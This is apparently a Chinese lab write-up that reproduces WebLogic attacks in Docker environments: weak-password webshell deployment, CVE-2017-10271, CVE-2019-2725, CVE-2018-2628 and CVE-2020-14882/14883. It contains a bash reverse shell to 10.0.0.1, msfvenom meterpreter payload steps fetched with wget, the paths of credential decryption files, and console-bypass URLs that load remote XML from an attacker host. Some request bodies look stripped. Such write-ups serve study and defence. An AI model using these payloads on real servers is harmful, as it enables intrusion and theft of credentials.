网络安全，weblogic漏洞复现

WebLogic是美国Oracle公司出品的一个Java应用服务器，是一个基于JAVAEE架构的中间件，用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。

2|0弱口令登陆部署shell文件

• App Weblogic

• Path weblogic/weak_password

2|1介绍

用户管理员在配置密码时将登陆口令设置为简易的弱口令，这使得攻击者可以很容易的猜解到口令并登陆进后台，通过部署木马文件，拿到shell，进行进一步的渗透

解密知识：

• 账号权限：weblogic或root用户权限，能查看weblogic域文件
• 密钥文件：SerializedSystemIni.dat

SerializedSystemIni.dat是解密的核心文件，一般保存在weblogic域的security目录下。比如weblogic的domain目录为：

/root/Oracle/Middleware/user_projects/domains/base_domain/

那么SerializedSystemIni.dat文件一般在

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

• 密文文件

weblogic的密文分两类，一类是数据库连接字符串，一类是console登录用户名和密码。

数据库连接字符串一般是在config/jdbc目录下的jdbc.xml文件中:/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/tide-jdbc.xml

而console登录用户名和密码一般也是在security目录下：/root/Oracle/Middleware/user_projects/domains/base_domain/security/boot.properties

2|2复现

Weblogic版本：10.3.6(11g)

Java版本：1.6

启动本环境：

docker-compose up -d

破解密码

环境启动后，访问http://your-ip:7001/console，即为weblogic后台。

此处模拟前台存在任意文件下载漏洞，通过此破解密码，配合后台文件上传getshell

读取密钥文件SerializedSystemIni.dat：

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

读取密文文件：

的值，即为加密后的管理员密码，不要找错了

解密工具地址

成功破解密码Oracle@123

---

文件上传

打包war包：

jar -cvf karsa.war ./war/*

Deployments—Install—upload your file(s)

因为我又生成了一个war目录，所以我的马的位置为：

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/karsa/4vao9u/war/war

可能是我的kali的问题冰蝎v3.0 Beta 9 无法连接shell，Beta7 成功反弹shell

3|0CVE-2017-10271

XMLDecoder反序列化漏洞

• App Weblogic

• CVE CVE-2017-10271

• Path weblogic/CVE-2017-10271

3|1介绍

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

漏洞利用：通过构造构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。

WebLogic Server WLS组件对外提供webservice服务，使用XMLDecoder来解析用户传入的XML数据

3|2复现

反弹shell：

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 /bin/bash -c bash -i >& /dev/tcp/10.0.0.1/21 0>&1

---

文件写入：

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638

4|0CVE-2019-2725

wls-wsat反序列化漏洞

4|1介绍

部分版本WebLogic中默认包含的wls9_async_response包，为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP 请求，获得目标服务器的权限，在未授权的情况下远程执行命令。

4|2复现

访问http://192.168.211.150:7001/_async/AsyncResponseService

下载Java反序列化漏洞利用工具

存在漏洞

命令执行成功

---

文件上传

文件路径：C:\\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

shell地址：

http://192.168.211.152:7001/console/framework/skins/wlsconsole/images/shell.jsp

访问shell

5|0CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞

• App Weblogic

• CVE CVE-2018-2628

• Path weblogic/CVE-2018-2628

5|1介绍

Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用） 机制的缺陷，通过 JRMP 协议（Java远程方法协议）达到执行任意反序列化代码，进而造成远程代码执行

5|2复现

使用github工具CVE-2018-2628

python CVE-2018-2628-Getshell.py 192.168.211.128 7001 shell1.jsp

msf上线

python -m SimpleHTTPServer 1337 #搭建 HTTP server msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=3333 -f elf -o karsa.elf #生成攻击载荷 wget 192.168.211.147:1337/karsa.elf #服务端下载恶意文件 msf监听

python -m SimpleHTTPServer 1337 #搭建 HTTP server msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.211.147 lport=3333 -f elf -o karsa.elf #生成攻击载荷 wget 192.168.211.147:1337/karsa.elf #服务端下载恶意文件 msf监听

6|0CVE-2020-14882/14883

WebLogic Console 权限绕过漏洞&RCE

• App Weblogic

• CVE CVE-2020-14882, CVE-2020-14883

• Path weblogic/CVE-2020-14882

6|1介绍

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

6|2复现

访问以下URL，即可未授权访问到管理后台页面：

/console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1

Weblogic 12.2.1以上版本利用:

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

这里其实想直接弹回来shell，但是一直失败了，不知道为什么，使用第二个方法com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

---

构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上

bash -c

让Weblogic加载这个XML，并执行其中的命令

http://192.168.211.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.211.147:1337/2.xml")